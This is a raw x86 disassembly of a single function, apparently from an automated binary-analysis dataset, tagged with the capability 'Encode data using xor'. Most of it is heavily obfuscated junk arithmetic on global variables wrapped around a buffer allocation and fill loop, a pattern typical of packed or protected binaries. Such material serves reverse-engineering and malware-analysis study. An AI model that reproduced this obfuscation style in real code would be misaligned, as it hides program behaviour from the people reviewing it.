Function at 0x404dc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x492008]
mov ecx, 0x4f7b8d7c
sub ecx, eax
mov ax, word [0x480a66]
add eax, ecx
mov word [0x480a66], ax
mov ax, word [0x488b24]
or eax, 0xfeaf
mov word [0x488b24], ax
mov eax, dword [0x4996a4]
lea ecx, [eax - 1]
mov dword [0x4996a4], ecx
mov cx, word [0x481982]
movsx ecx, cx
shl ecx, 7
add ecx, 0xa039cda4
mov edx, dword [0x496290]
and ecx, eax
and ecx, edx
mov dword [0x496290], ecx
mov eax, dword [0x497118]
not eax
and eax, 0xceb3ec48
mov ecx, dword [0x491d00]
sar ecx, 7
or ecx, eax
cmp ecx, 0x67ae502f
jg 0x404e57
mov ax, word [0x4822c4]
imul eax, eax, 0x79ed
mov cx, word [0x487b2e]
or ecx, eax
mov word [0x487b2e], cx
mov eax, dword [0x48e98c]
not eax
mov ecx, dword [0x48b9c4]
and ecx, eax
and ecx, 0x60802104
mov dword [0x48b9c4], ecx
mov eax, dword [0x490be0]
and dword [0x492fb4], 0x11633c89
or dword [0x4919e0], 0xe9d757be
or dword [0x48a164], 0xa81a818c
add dword [0x492318], 0xd016
add dword [0x48da20], 0x6754eb99
mov dword [0x493e40], 0xf09f54bb
mov eax, dword [0x495030]
mov ecx, dword [0x497868]
or ecx, eax
mov dword [0x48a1dc], ecx
or dword [0x48c4e8], 0x9feccab
mov ax, word [0x488cf0]
cwde
xor eax, 0x4f7bb59f
cmp eax, 0xe24b7929
jl 0x404f11
mov eax, dword [0x48ce60]
lea ecx, [eax + 1]
mov dword [0x48ce60], ecx
add eax, 0x4c64dc7f
cmp eax, 0x67d85229
jl 0x404f32
mov ax, word [0x486da8]
cwde
or eax, 0x771468b
xor dword [0x49be24], eax
jmp 0x404f32
mov ax, word [0x4876e4]
or eax, 0xffffda18
xor eax, 0x20e6
mov cx, word [0x488f5a]
imul ecx, eax
mov word [0x488f5a], cx
mov eax, dword [0x493090]
imul eax, eax, 0xefaed9a8
mov dword [0x493090], eax
and dword [0x4919e8], 0x3400040
mov ax, word [0x481bda]
not eax
imul eax, eax, 0xffffc777
mov cx, word [0x488a12]
add ecx, eax
mov word [0x488a12], cx
mov eax, dword [0x48c4b0]
imul eax, eax, 0x39b3307f
xor eax, 0xae702ce8
mov ecx, dword [0x499620]
imul ecx, ecx, 0x31491bca
cmp eax, ecx
jl 0x404f9e
mov eax, dword [0x48f0ec]
lea ecx, [eax + 1]
mov dword [0x48f0ec], ecx
xor dword [0x498ff8], eax
mov dword [0x493810], 0x6f1f3f60
mov ax, word [0x487e1a]
cwde
shl eax, 4
mov ecx, dword [0x495ea8]
xor ecx, eax
xor ecx, 0x8e3c31a3
mov dword [0x495ea8], ecx
mov ax, word [0x48443a]
imul eax, eax, 0x14ef
mov word [0x48443a], ax
mov ax, word [0x4839c2]
mov ax, word [0x484758]
lea ecx, [eax + 1]
mov word [0x484758], cx
mov cx, word [0x480ca8]
imul ecx, eax
mov word [0x480ca8], cx
mov ax, word [0x483e42]
and eax, 0x1a73
mov word [0x483e42], ax
mov ax, word [0x483bd6]
inc eax
mov word [0x483bd6], ax
cwde
xor eax, 0x7f386d90
cmp eax, 0x8915720d
jl 0x405041
mov eax, dword [0x4991c8]
shl eax, 7
mov ecx, 0x1bee28d
sub ecx, eax
mov dword [0x49752c], ecx
jmp 0x405061
mov ax, word [0x488d54]
dec eax
mov word [0x488d54], ax
cwde
imul eax, eax, 0x2b73f3f9
cmp eax, 0x90658e01
je 0x405061
mov eax, dword [0x49bf00]
mov eax, dword [0x4997ec]
cmp eax, 0x4e04fbc0
jne 0x405077
add dword [0x48cef0], 0xff6bfe2c
and dword [0x49c2ec], 0x20787ecb
mov eax, dword [0x49c158]
add eax, 0x8641
xor eax, 0xda0e
mov word [0x482ea8], ax
and dword [0x4904a4], 0x1e082228
mov ax, word [0x484dbc]
lea ecx, [eax - 1]
mov word [0x484dbc], cx
mov cx, word [0x480e8a]
and ecx, eax
mov word [0x480e8a], cx
add dword [0x4900fc], 0x57588e48
mov eax, dword [0x4959e8]
mov eax, dword [0x49ae58]
shl eax, 8
add eax, 0xf734ae
mov cx, word [0x488584]
movsx ecx, cx
and ecx, eax
and dword [0x499f90], ecx
mov eax, dword [0x48cd00]
inc eax
mov dword [0x48cd00], eax
mov cx, word [0x483b0e]
lea edx, [ecx + 1]
mov word [0x483b0e], dx
movsx ecx, cx
imul ecx, eax
xor ecx, 0x6ce4077d
cmp ecx, 0xf5ba9a85
jg 0x405146
mov eax, dword [0x499524]
lea ecx, [eax + 1]
mov dword [0x499524], ecx
add eax, 0xab4c976c
mov ecx, dword [0x48d530]
and ecx, 0xd0d02562
cmp eax, ecx
jl 0x405146
mov eax, dword [0x493994]
add dword [0x48cc44], 0x8e46e100
mov eax, dword [0x4927b4]
lea ecx, [eax - 1]
mov dword [0x4927b4], ecx
mov ecx, 0xdfd4163c
sub ecx, eax
and ecx, 0xccd2fc3f
add dword [0x49432c], ecx
mov eax, dword [0x496488]
shl eax, 6
cmp eax, 0x64ef0ae9
jg 0x4051b0
mov eax, dword [0x49567c]
lea ecx, [eax - 1]
mov dword [0x49567c], ecx
mov ecx, 0x5d5e91e4
sub ecx, eax
mov ax, word [0x480f7a]
lea edx, [eax - 1]
mov word [0x480f7a], dx
cwde
xor eax, ecx
xor dword [0x4996b0], eax
jmp 0x4051ba
mov dword [0x4950cc], 0x500681
or dword [0x4997a0], 0x85d80c86
mov eax, dword [0x49bf58]
or eax, 0x3feef68e
mov ecx, dword [0x4942a4]
cmp eax, ecx
jle 0x4051de
inc dword [0x48b970]
mov eax, dword [0x48d34c]
inc eax
mov dword [0x48d34c], eax
xor eax, 0x43d7
mov word [0x4819a6], ax
xor dword [0x48e39c], 0x34d6539c
mov eax, dword [0x49168c]
add eax, 0x913b6506
or dword [0x4987c4], eax
add dword [0x495800], 0x44349eac
mov dword [0x495e94], 0xf13ad42c
mov ax, word [0x481f2c]
imul eax, eax, 0xaa4
mov word [0x481f2c], ax
mov eax, dword [0x498160]
xor eax, 0x47619980
cmp eax, 0xb3c653f
jg 0x405267
mov eax, dword [0x48c270]
cmp eax, 0xf13717e7
jl 0x405267
mov eax, dword [0x48f07c]
not eax
mov ecx, dword [0x4995b8]
imul ecx, eax
mov dword [0x4995b8], ecx
mov eax, dword [0x48f1e8]
shl eax, 5
add eax, 0xf88c4f51
or dword [0x49c6a4], eax
mov eax, dword [0x49b378]
shl eax, 4
mov ecx, 0xcf7104db
sub ecx, eax
mov dword [0x48a364], ecx
xor dword [0x48b358], 0x877e5724
mov ax, word [0x4865bc]
cwde
mov ecx, dword [0x49c48c]
lea edx, [ecx + 1]
mov dword [0x49c48c], edx
add ecx, 0xdfd31049
or ecx, eax
cmp ecx, 0x2000c405
je 0x4052e2
mov eax, dword [0x49a59c]
mov ecx, dword [0x490630]
mov edx, dword [0x48d360]
and edx, ecx
xor edx, eax
mov ax, word [0x485488]
sub eax, edx
mov word [0x485488], ax
mov ax, word [0x4881bc]
cwde
sar eax, 3
mov cx, word [0x4879fa]
movsx ecx, cx
mov edx, 0x713484b
sub edx, ecx
add edx, eax
mov eax, dword [0x494ac0]
dec eax
mov dword [0x494ac0], eax
and eax, 0xd81fa86f
cmp edx, eax
jg 0x405324
mov ax, word [0x48521a]
xor eax, 0x76c3
mov word [0x48521a], ax
mov eax, dword [0x4980cc]
mov eax, dword [0x48b9e0]
lea ecx, [eax + 1]
mov dword [0x48b9e0], ecx
mov ecx, dword [0x498660]
add eax, 0x72309a84
sub eax, ecx
or dword [0x4955e0], eax
mov eax, dword [0x49bcf0]
lea ecx, [eax + 1]
mov dword [0x49bcf0], ecx
cmp eax, 0x59764fe6
jl 0x405375
mov eax, dword [0x496124]
inc eax
mov dword [0x496124], eax
and eax, 0xe04263b7
add dword [0x48b660], eax
mov ax, word [0x480b32]
cwde
shl eax, 5
mov cx, word [0x489d2a]
lea edx, [ecx - 1]
mov word [0x489d2a], dx
movsx ecx, cx
and ecx, eax
add dword [0x499a38], ecx
mov ax, word [0x480b78]
dec eax
mov word [0x480b78], ax
cwde
imul eax, eax, 0xfd744bf4
and dword [0x4922f0], eax
mov eax, dword [0x49c920]
imul eax, eax, 0xac41d9e
mov dword [0x49c920], eax
mov eax, dword [0x48a7d0]
inc eax
mov dword [0x48a7d0], eax
mov ecx, dword [0x48b3c4]
inc ecx
mov dword [0x48b3c4], ecx
imul ecx, eax
imul eax, ecx, 0xd3a0747b
cmp eax, 0x9f3f57e4
jg 0x405411
mov eax, dword [0x497914]
lea ecx, [eax - 1]
mov dword [0x497914], ecx
or eax, 0x47229418
cmp eax, 0x172ff854
jg 0x405411
mov dword [0x497870], 0xc110c460
mov eax, dword [0x49b590]
mov ecx, 0x6763704f
sub ecx, eax
cmp ecx, 0x749d26cf
jl 0x405443
mov eax, dword [0x491cf0]
or eax, 0x9682ef79
xor eax, 0x697d1086
mov ecx, dword [0x495958]
imul ecx, eax
mov dword [0x495958], ecx
push edi
push esi
sub esp, 0xc
mov eax, dword [0x497a88]
add dword [0x48fb9c], 0x4034c99a
mov eax, dword [0x494708]
inc eax
mov dword [0x494708], eax
mov cx, word [0x481794]
mov dx, word [0x489dd0]
add edx, ecx
xor edx, eax
mov ax, word [0x48197a]
imul eax, edx
mov word [0x48197a], ax
mov eax, dword [0x477bf5]
mov dword [esp + 8], eax
add dword [0x499010], 0x487c040c
mov eax, dword [0x4958d0]
add dword [0x499540], eax
mov eax, dword [0x49ac84]
lea ecx, [eax + 1]
mov dword [0x49ac84], ecx
or eax, 0x2a0af29c
mov dword [0x4952f4], eax
mov eax, dword [0x48daf0]
mov ecx, dword [0x4945b0]
add ecx, eax
xor ecx, 0x94083421
cmp ecx, 0x4a1d3bc5
jg 0x4054f8
mov ax, word [0x488efa]
cwde
not eax
mov cx, word [0x489946]
dec ecx
mov word [0x489946], cx
movsx ecx, cx
imul ecx, eax
add dword [0x48cd60], ecx
add dword [0x4922cc], 0x1474690a
mov eax, dword [0x491924]
lea ecx, [eax - 1]
mov dword [0x491924], ecx
xor eax, 0x62033500
mov cx, word [0x48142c]
movsx ecx, cx
imul ecx, ecx, 0x133e1b8a
cmp eax, ecx
jg 0x40553a
mov ax, word [0x4843e8]
xor eax, 0xf324
mov word [0x4843e8], ax
mov ax, word [0x489e22]
xor eax, 0xb386
mov word [0x489e22], ax
add dword [0x494f94], 0xd7ea8ed0
mov ax, word [0x4865fa]
and eax, 0xfcf6
mov word [0x4865fa], ax
mov eax, dword [0x494b44]
shl eax, 8
add eax, 0x93cf6a
or eax, 0x852d56b3
and dword [0x490a58], eax
mov dword [0x491d20], 0x683eed20
xor dword [0x48bba0], 0x188f9640
mov ax, word [0x486f0c]
mov ax, word [0x484940]
inc eax
mov word [0x484940], ax
cwde
mov ecx, dword [0x495d48]
xor ecx, eax
mov eax, dword [0x491ddc]
or eax, ecx
or eax, 0xd7373df0
mov dword [0x491ddc], eax
add dword [0x48a5a0], 0xb09b903b
mov ax, word [0x4838dc]
inc eax
mov word [0x4838dc], ax
mov ax, word [0x483a52]
inc eax
mov word [0x483a52], ax
mov eax, dword [0x49aa1c]
dec eax
mov dword [0x49aa1c], eax
imul eax, eax, 0x374eb499
or dword [0x491558], eax
mov eax, dword [0x48bfb4]
lea ecx, [eax - 1]
mov dword [0x48bfb4], ecx
mov cx, word [0x4893d4]
movsx ecx, cx
and ecx, eax
xor ecx, 0xad3b336e
or dword [0x491374], ecx
mov eax, dword [0x498cb8]
and dword [0x49be84], 0xe8f18e78
mov eax, dword [0x4905c4]
mov ax, word [0x481be6]
cwde
imul eax, eax, 0x51ae3b77
cmp eax, 0x588fe005
jl 0x405664
mov eax, dword [0x492c10]
mov ax, word [0x484c5a]
inc eax
mov word [0x484c5a], ax
mov eax, dword [0x4983e0]
mov eax, dword [0x49a4f8]
mov eax, dword [0x48ec30]
mov dword [0x490efc], eax
xor dword [0x4956c8], 0x2c08c299
mov eax, dword [0x49bd0c]
and dword [0x48dcc0], eax
mov eax, dword [0x48edac]
imul eax, eax, 0xecbc8d44
mov dword [0x48edac], eax
mov eax, dword [0x4987c0]
imul eax, eax, 0xc67cd208
cmp eax, 0xf3ff9beb
jl 0x4056c2
mov eax, dword [0x49b71c]
imul eax, eax, 0x7f8da849
cmp eax, 0x1000a127
jg 0x4056c2
mov ax, word [0x48614c]
mov eax, dword [0x48cfc0]
mov ax, word [0x48765c]
or eax, 0xfb72
mov word [0x48765c], ax
mov eax, dword [0x49977c]
mov ax, word [0x48788c]
add eax, 0xffffff31
mov word [0x48788c], ax
mov ax, word [0x483d9a]
add eax, 0x3e2d
mov cx, word [0x4812bc]
xor ecx, eax
mov word [0x4812bc], cx
mov eax, dword [0x49470c]
sar eax, 2
and eax, 0x89800c18
mov ecx, dword [0x490c1c]
or ecx, eax
or ecx, 0x638f1e3
mov dword [0x490c1c], ecx
mov eax, dword [0x496218]
mov cx, word [0x489fa8]
movsx ecx, cx
mov edx, 0xc0a9ba8a
sub edx, ecx
mov ecx, dword [0x491090]
xor edx, eax
xor edx, ecx
mov dword [0x491090], edx
mov eax, dword [esp + 8]
mov dword [0x49cce4], eax
mov ax, word [0x484f22]
or eax, 0x45de
mov word [0x484f22], ax
mov eax, dword [0x4924f0]
xor eax, 0xabf163b1
mov ecx, dword [0x4900bc]
imul ecx, eax
mov dword [0x4900bc], ecx
mov eax, dword [0x4992e0]
mov ecx, 0xe5a2bbdd
sub ecx, eax
mov eax, dword [0x498278]
sar eax, 1
add eax, 0xb831d366
cmp ecx, eax
jl 0x4057a4
xor dword [0x48ce20], 0xee7826dd
mov eax, dword [0x48b8b0]
mov ecx, dword [0x48a914]
lea edx, [ecx + 1]
mov dword [0x48a914], edx
add eax, ecx
cmp eax, 0x1dc059ee
jl 0x4057d6
mov eax, dword [0x48fbec]
cmp eax, 0x8ecfe0a2
jl 0x4057d6
mov word [0x487402], 0xc1a5
mov ax, word [0x48389a]
cwde
add eax, 0x7b66efec
mov ecx, dword [0x48c408]
sar ecx, 7
add ecx, 0xba52ca92
cmp eax, ecx
je 0x405815
mov eax, dword [0x4921cc]
lea ecx, [eax + 1]
mov dword [0x4921cc], ecx
mov ecx, dword [0x49a5bc]
lea eax, [eax + ecx + 0x616d241c]
mov dword [0x49a5bc], eax
mov word [0x4884fc], 0xb5db
mov ax, word [0x485760]
mov ax, word [0x486992]
cwde
sar eax, 5
add eax, 0x50bc2ca0
or eax, 0x13372dee
mov ecx, dword [0x48e4b0]
sub ecx, eax
mov dword [0x48e4b0], ecx
and dword [0x4991c4], 0xf0661b21
or dword [0x48c0a0], 0x6266d2a
add dword [0x4953a0], 0x18dd01
mov eax, dword [0x48d46c]
mov ecx, dword [0x490c98]
sar ecx, 6
or ecx, eax
cmp ecx, 0xc44034e5
jne 0x40589e
mov ax, word [0x485498]
cwde
or eax, 0x88960404
mov ecx, dword [0x4929c0]
add ecx, 0x4fbc5e68
cmp eax, ecx
jne 0x40589e
mov ax, word [0x489edc]
mov eax, dword [0x492754]
mov ecx, dword [0x494a84]
lea edx, [ecx + 1]
mov dword [0x494a84], edx
imul eax, ecx
shl eax, 0xa
and dword [0x48a938], eax
mov ax, word [0x4852f6]
add eax, 0x7fbb
mov word [0x4852f6], ax
xor dword [0x498f6c], 0xa455f60a
and dword [0x48f6b0], 0xe9560e44
mov eax, dword [0x48c124]
shr eax, 2
add eax, 0x14c45f14
and eax, 0x1c592c53
mov ecx, dword [0x491ec8]
sub ecx, eax
mov dword [0x491ec8], ecx
mov ax, word [0x4877d4]
cwde
mov cx, word [0x482316]
movsx ecx, cx
imul ecx, eax
mov eax, dword [0x48ba98]
and eax, ecx
mov ecx, dword [0x491298]
imul ecx, eax
mov dword [0x491298], ecx
mov eax, dword [0x4960fc]
imul eax, eax, 0xd63efeb9
and eax, 0xea079a26
cmp eax, 0x5df4e5cf
jl 0x40594e
add dword [0x48b810], 0x87d95b68
mov ax, word [0x48597c]
cwde
shr eax, 3
xor eax, 0x175b
mov cx, word [0x4860d4]
imul ecx, eax
mov word [0x4860d4], cx
add dword [0x491354], 0x4b12fb17
mov ax, word [0x4842b6]
cwde
shl eax, 3
xor eax, 0xb3576444
cmp eax, 0xd192f1be
jg 0x4059ab
mov eax, dword [0x49a484]
cmp eax, 0xc1980d30
jne 0x4059ab
mov eax, dword [0x48fc94]
imul eax, eax, 0x854ae136
or dword [0x49b0a0], eax
add dword [0x4921c0], 0x336999f3
and dword [0x48c8d0], 0x4fb01963
mov eax, dword [0x49bb14]
add eax, 0xa99aec1f
or dword [0x491034], eax
mov ax, word [0x483f7e]
cwde
mov dword [0x492cfc], eax
mov ax, word [0x488188]
imul eax, eax, 0xffff9a00
mov word [0x488188], ax
mov eax, dword [0x491484]
add eax, 0x80ec
xor eax, 0xc3ee
mov word [0x483854], ax
mov eax, dword [0x48caf0]
imul eax, eax, 0x7fff9ffb
mov dword [0x48caf0], eax
mov eax, dword [0x498ebc]
shl dword [0x49cce4], 2
mov eax, dword [0x48a378]
sar eax, 5
or eax, 0xa7368cf5
add dword [0x499b00], eax
mov dword [0x490a1c], 0x9f644853
or dword [0x49c974], 0x9e848b07
mov eax, dword [0x494248]
dec eax
mov dword [0x494248], eax
imul eax, eax, 0x5ed59962
xor eax, 0xc22e3ff4
mov ecx, dword [0x491a68]
sub ecx, eax
mov dword [0x491a68], ecx
mov eax, dword [0x48e1d0]
dec eax
mov dword [0x48e1d0], eax
mov ecx, dword [0x4942dc]
and ecx, eax
and ecx, 0x158fa9e3
mov dword [0x4942dc], ecx
mov eax, dword [0x492e9c]
add eax, 0xd4cb0361
and dword [0x49adc8], eax
mov eax, dword [0x48a5f0]
dec eax
mov dword [0x48a5f0], eax
mov ecx, dword [0x494e44]
not ecx
and ecx, eax
xor ecx, 0x8f8d347d
and dword [0x494a30], ecx
mov eax, dword [0x48a40c]
and eax, 0xd0cf
mov cx, word [0x483578]
add ecx, eax
mov word [0x483578], cx
and dword [0x49b464], 0x2932a47c
mov eax, dword [0x493618]
shl eax, 2
and dword [0x49197c], eax
and dword [0x49b9c8], 0xfcffb775
mov eax, dword [0x495d94]
not eax
mov ecx, dword [0x49a368]
imul ecx, eax
xor ecx, 0x6d062178
cmp ecx, 0xb8186447
jl 0x405b3f
mov eax, dword [0x49ca58]
mov cx, word [0x483d9e]
movsx ecx, cx
shl ecx, 0xa
xor ecx, eax
xor ecx, 0xfa882ed6
cmp ecx, 0x7b26cd07
jg 0x405b3f
xor dword [0x48eefc], 0x22edf53b
mov ax, word [0x4894d4]
cwde
mov ecx, dword [0x497b70]
lea edx, [ecx + 1]
mov dword [0x497b70], edx
xor eax, ecx
mov ecx, dword [0x49c0ac]
or ecx, eax
or dword [0x494c2c], ecx
mov eax, dword [0x49c710]
not eax
mov cx, word [0x48717a]
movsx ecx, cx
cmp ecx, eax
jne 0x405b8c
mov ax, word [0x48183e]
imul eax, eax, 0xffffa900
mov word [0x48183e], ax
mov eax, dword [0x48ae98]
sar eax, 2
mov ecx, dword [0x49b180]
not ecx
imul ecx, ecx, 0xc98eb4c9
xor ecx, eax
and dword [0x48aa48], ecx
mov ax, word [0x4893e2]
cwde
xor eax, 0x65ee844b
cmp eax, 0xad4f5d6c
jg 0x405bd0
mov ax, word [0x486a74]
and eax, 0x396e
mov word [0x486a74], ax
jmp 0x405be0
mov eax, dword [0x492104]
imul eax, eax, 0x7f7ef7b6
mov dword [0x492104], eax
inc dword [0x49791c]
and dword [0x499458], 0xb6bf1997
mov dword [0x49439c], 0x21804682
add dword [0x492b74], 0x891095ac
mov ax, word [0x489d4a]
add eax, 0x17
mov word [0x489d4a], ax
add dword [0x49b314], 0x4d7b7fb5
mov eax, dword [0x491f3c]
imul eax, eax, 0x2aef2681
mov dword [0x491f3c], eax
or dword [0x493000], 0xdb13c279
mov ax, word [0x482174]
or eax, 0xfd1b
mov word [0x482174], ax
mov eax, dword [0x4984a0]
imul eax, eax, 0x38e2993b
mov dword [0x4984a0], eax
add dword [0x498518], 0x7d76f702
add dword [0x48f064], 0x3bd4eab7
mov eax, dword [0x49422c]
lea ecx, [eax + 1]
mov dword [0x49422c], ecx
mov cx, word [0x488a52]
xor ecx, eax
mov word [0x488a52], cx
mov eax, dword [0x4950bc]
and eax, 0xfa3b
mov ecx, dword [0x48b764]
xor ecx, eax
mov ax, word [0x4824fe]
and eax, ecx
mov word [0x4824fe], ax
mov dword [0x493fcc], 0x443863ba
mov eax, dword [0x49cce4]
mov dword [esp], eax
call fcn.0044ee65
mov dword [0x49cce0], eax
mov eax, dword [0x492a24]
cmp eax, 0x308f02
jg 0x405cdc
mov dword [0x49357c], 0x86cd6fc
mov eax, dword [0x49431c]
imul eax, eax, 0x2bbdf58f
mov dword [0x49431c], eax
mov ax, word [0x484578]
lea ecx, [eax - 1]
mov word [0x484578], cx
cwde
and eax, 0x990a72bb
or dword [0x4927a0], eax
mov dword [0x49446c], 0x2b4ad133
mov ax, word [0x48587c]
xor eax, 0xa864
mov word [0x48587c], ax
add dword [0x48cb94], 0xd799c83c
mov eax, dword [0x4920a8]
add eax, 0x9fe98b25
cmp eax, 0x486aff83
jg 0x405d6f
mov eax, dword [0x48e4a4]
mov ecx, 0x3c66103f
sub ecx, eax
cmp ecx, 0x1fb96f7e
jl 0x405d79
mov eax, dword [0x49ae08]
mov ecx, 0x15fcf0fd
sub ecx, eax
mov ax, word [0x488594]
imul eax, ecx
mov word [0x488594], ax
jmp 0x405d79
xor dword [0x490854], 0xe1b29f52
mov eax, dword [0x4924f4]
not eax
and eax, 0x800600c1
mov ecx, dword [0x48d1b4]
sub ecx, eax
mov dword [0x48d1b4], ecx
xor dword [0x496494], 0x3bff7e9e
and dword [0x49bc64], 0x79456029
mov eax, dword [0x48d488]
cmp eax, 0xb3832674
jg 0x405dd8
mov eax, dword [0x48ad2c]
sar eax, 0xa
imul eax, eax, 0x519e121
mov ecx, dword [0x49c980]
shl ecx, 8
cmp eax, ecx
jl 0x405dd8
or dword [0x499da4], 0xec68244a
mov eax, dword [0x49a2c4]
imul eax, eax, 0xa2eda9fd
mov ecx, dword [0x4955ec]
or ecx, eax
or ecx, 0xa73ddb99
mov dword [0x4955ec], ecx
add dword [0x497a18], 0x9a3887db
mov eax, dword [0x494c3c]
shl eax, 8
cmp eax, 0xfefbf5f7
jg 0x405e1a
add dword [0x4987d4], 0x480d8ba6
add dword [0x494db8], 0x6aa0b9b0
and dword [0x497710], 0x971729f3
add dword [0x48f04c], 0xa5d3643c
add dword [0x48e594], 0x6f2b7f64
mov eax, dword [0x48a8e0]
mov ecx, dword [0x48efd4]
xor ecx, eax
xor ecx, 0x1149
mov ax, word [0x480de0]
add eax, ecx
mov word [0x480de0], ax
mov ax, word [0x4815d4]
xor eax, 0x99c8
mov word [0x4815d4], ax
mov eax, dword [0x498a38]
mov cx, word [0x48753a]
lea edx, [ecx - 1]
mov word [0x48753a], dx
movsx ecx, cx
add ecx, eax
or ecx, 0x18e34ac9
mov dword [0x49149c], ecx
add dword [0x49240c], 0x12976669
mov eax, dword [0x4957ac]
inc eax
mov dword [0x4957ac], eax
mov cx, word [0x486056]
lea edx, [ecx + 1]
mov word [0x486056], dx
movsx ecx, cx
and ecx, 0x5fbdb572
xor ecx, eax
cmp ecx, 0x7c7dfd5c
je 0x405ede
and dword [0x493a90], 0xb7ffffda
mov eax, dword [0x48cc54]
imul eax, eax, 0x8eeb0d6b
cmp eax, 0xe27ef17b
jne 0x405f12
mov eax, dword [0x4918fc]
not eax
mov ecx, dword [0x497748]
inc ecx
mov dword [0x497748], ecx
and ecx, eax
or ecx, 0x52b19964
xor dword [0x49b2f8], ecx
xor dword [0x48b3d4], 0x2fc14dfc
mov ax, word [0x48881e]
xor eax, 0x179f
mov word [0x48881e], ax
mov ax, word [0x482f60]
imul eax, eax, 0x4f84
mov word [0x482f60], ax
mov eax, dword [0x49218c]
cmp eax, 0xf2d4e0dd
jne 0x405f57
xor dword [0x496eb8], 0xba6f9ee7
jmp 0x405f61
mov dword [0x48c864], 0xe85b4733
xor dword [0x48bf8c], 0x1595504f
mov ax, word [0x484c36]
lea ecx, [eax - 1]
mov word [0x484c36], cx
cwde
and eax, 0x2c38f31
xor eax, 0xb48d32a2
add dword [0x490860], eax
mov dword [esp + 4], 0
or dword [0x49c3c0], 0x2b174f7e
mov ax, word [0x484236]
xor eax, 0x2468
mov word [0x484236], ax
mov eax, dword [0x4907c4]
and eax, 0xfc66a496
cmp eax, 0x88a6c9f1
jl 0x405fca
xor dword [0x4974c8], 0xffefefed
mov dword [0x48f5c4], 0x1ed1ee87
and dword [0x495080], 0x36c13848
mov eax, dword [0x4969b0]
xor eax, 0x6412dcda
mov ecx, dword [0x48bbcc]
imul ecx, eax
mov dword [0x48bbcc], ecx
mov eax, dword [0x49bb28]
lea ecx, [eax + 1]
mov dword [0x49bb28], ecx
and eax, 0xccd1
mov cx, word [0x4837de]
sub ecx, eax
mov word [0x4837de], cx
add dword [0x48ec14], 0xaded7a6d
mov ax, word [0x488dba]
cwde
add eax, 0xe2f3d73d
mov ecx, dword [0x495614]
imul ecx, eax
mov dword [0x495614], ecx
mov eax, dword [0x492478]
lea ecx, [eax - 1]
mov dword [0x492478], ecx
mov cx, word [0x4875b8]
movsx ecx, cx
and ecx, eax
xor dword [0x492bb4], ecx
mov eax, dword [0x49b280]
sar eax, 7
add eax, 0x121580c7
mov ecx, dword [0x49561c]
imul ecx, eax
mov dword [0x49561c], ecx
or dword [0x4995b0], 0x54a89db0
and dword [0x48c444], 0xad7ec974
and dword [0x48a198], 0x644b3f02
mov eax, dword [0x48a97c]
cmp eax, 0xe1c6183e
jg 0x4060db
mov eax, dword [0x48d98c]
mov ecx, 0x19b9d820
sub ecx, eax
xor ecx, 0x63243602
mov eax, dword [0x494480]
and eax, 0xd64a4f25
xor eax, 0x6f92ecdb
cmp ecx, eax
jg 0x4060db
mov ax, word [0x48928a]
and eax, 0x7056
mov word [0x48928a], ax
mov eax, dword [0x493ef0]
lea ecx, [eax + 1]
mov dword [0x493ef0], ecx
xor eax, 0xac67644a
add dword [0x493160], eax
mov dword [0x498730], 0x10000000
mov eax, dword [0x4947e4]
xor eax, 0x3788e618
and dword [0x493440], eax
add dword [0x49b540], 0x87692f88
or dword [0x499714], 0x8e271b72
mov ax, word [0x4898e4]
add eax, 0x13e5
mov word [0x4898e4], ax
mov eax, dword [0x496a14]
inc eax
mov dword [0x496a14], eax
cmp eax, 0x7650c578
jne 0x406166
mov eax, dword [0x48b6f4]
lea ecx, [eax - 1]
mov dword [0x48b6f4], ecx
imul eax, eax, 0x1e6c9985
add eax, 0x4a391e9
xor dword [0x495128], eax
jmp 0x40618d
mov eax, dword [0x49889c]
mov cx, word [0x48611e]
lea edx, [ecx + 1]
mov word [0x48611e], dx
movsx ecx, cx
xor ecx, eax
mov eax, dword [0x493548]
sub eax, ecx
mov dword [0x493548], eax
mov eax, dword [0x49758c]
add eax, eax
or eax, 0xb3201e80
and dword [0x49264c], eax
mov ax, word [0x488380]
dec eax
mov word [0x488380], ax
cwde
mov ecx, 0x374a7757
sub ecx, eax
mov eax, dword [0x490ce4]
and eax, 0x9d9e7110
xor eax, 0x78c9165a
cmp ecx, eax
jle 0x4061e4
mov ax, word [0x481a5e]
dec eax
mov word [0x481a5e], ax
cwde
mov ecx, 0xa3a23a82
sub ecx, eax
or dword [0x49baa4], ecx
jmp 0x406203
mov eax, dword [0x499318]
lea ecx, [eax + 1]
mov dword [0x499318], ecx
cmp eax, 0x221b97ec
jne 0x406203
xor dword [0x48cd04], 0x1f714070
mov eax, dword [0x48fc78]
mov dword [0x49501c], 0xd2bdccc2
and dword [0x494eec], 0x16972f5
or dword [0x49672c], 0xdc84f868
and dword [0x48ec5c], 0xeefbdfdf
xor dword [0x495390], 0x6b3106c9
add dword [0x493178], 0xdb9febbf
jmp 0x4062ad
add dword [0x49284c], 0xb282c69a
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
mov edx, dword [0x49cce0]
mov dword [edx + ecx*4], eax
mov eax, dword [0x490ea0]
lea ecx, [eax + 1]
mov dword [0x490ea0], ecx
add eax, 0xe340cc2a
mov cx, word [0x486876]
movsx ecx, cx
or ecx, eax
or dword [0x499288], ecx
inc dword [esp + 4]
mov eax, dword [0x48fda4]
sar eax, 6
imul eax, eax, 0x2d196d5d
add eax, 0x44dc5719
or dword [0x49b860], eax
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
cmp eax, ecx
jne 0x406250
mov dword [0x492470], 0x76344d6c
mov eax, dword [0x49a3bc]
mov ecx, dword [0x499408]
lea edx, [ecx - 1]
mov dword [0x499408], edx
add ecx, 0x59aac963
and ecx, eax
cmp ecx, 0xdc86dd46
jne 0x4062fe
mov eax, dword [0x4923dc]
cmp eax, 0x38547340
jl 0x4062fe
mov eax, dword [0x4952f0]
inc dword [0x497a58]
mov eax, dword [0x492cc0]
mov cx, word [0x487186]
and ecx, eax
mov word [0x487186], cx
mov eax, dword [0x499498]
not eax
imul eax, eax, 0x1d72a325
add dword [0x497eec], eax
or dword [0x49ab2c], 0x5109009
mov eax, dword [0x493740]
not eax
imul eax, eax, 0x98877014
mov ecx, dword [0x4959d0]
inc ecx
mov dword [0x4959d0], ecx
and ecx, eax
xor dword [0x497cdc], ecx
mov eax, dword [0x490cc8]
or eax, 0xc567c3c4
xor eax, 0x3a983c3b
mov ecx, dword [0x48a774]
sub ecx, eax
mov dword [0x48a774], ecx
mov eax, dword [0x492ae4]
cmp eax, 0x7913a1
jl 0x406392
dec dword [0x493494]
mov ax, word [0x486b48]
cwde
and eax, 0xd111fb2e
mov dword [0x492964], eax
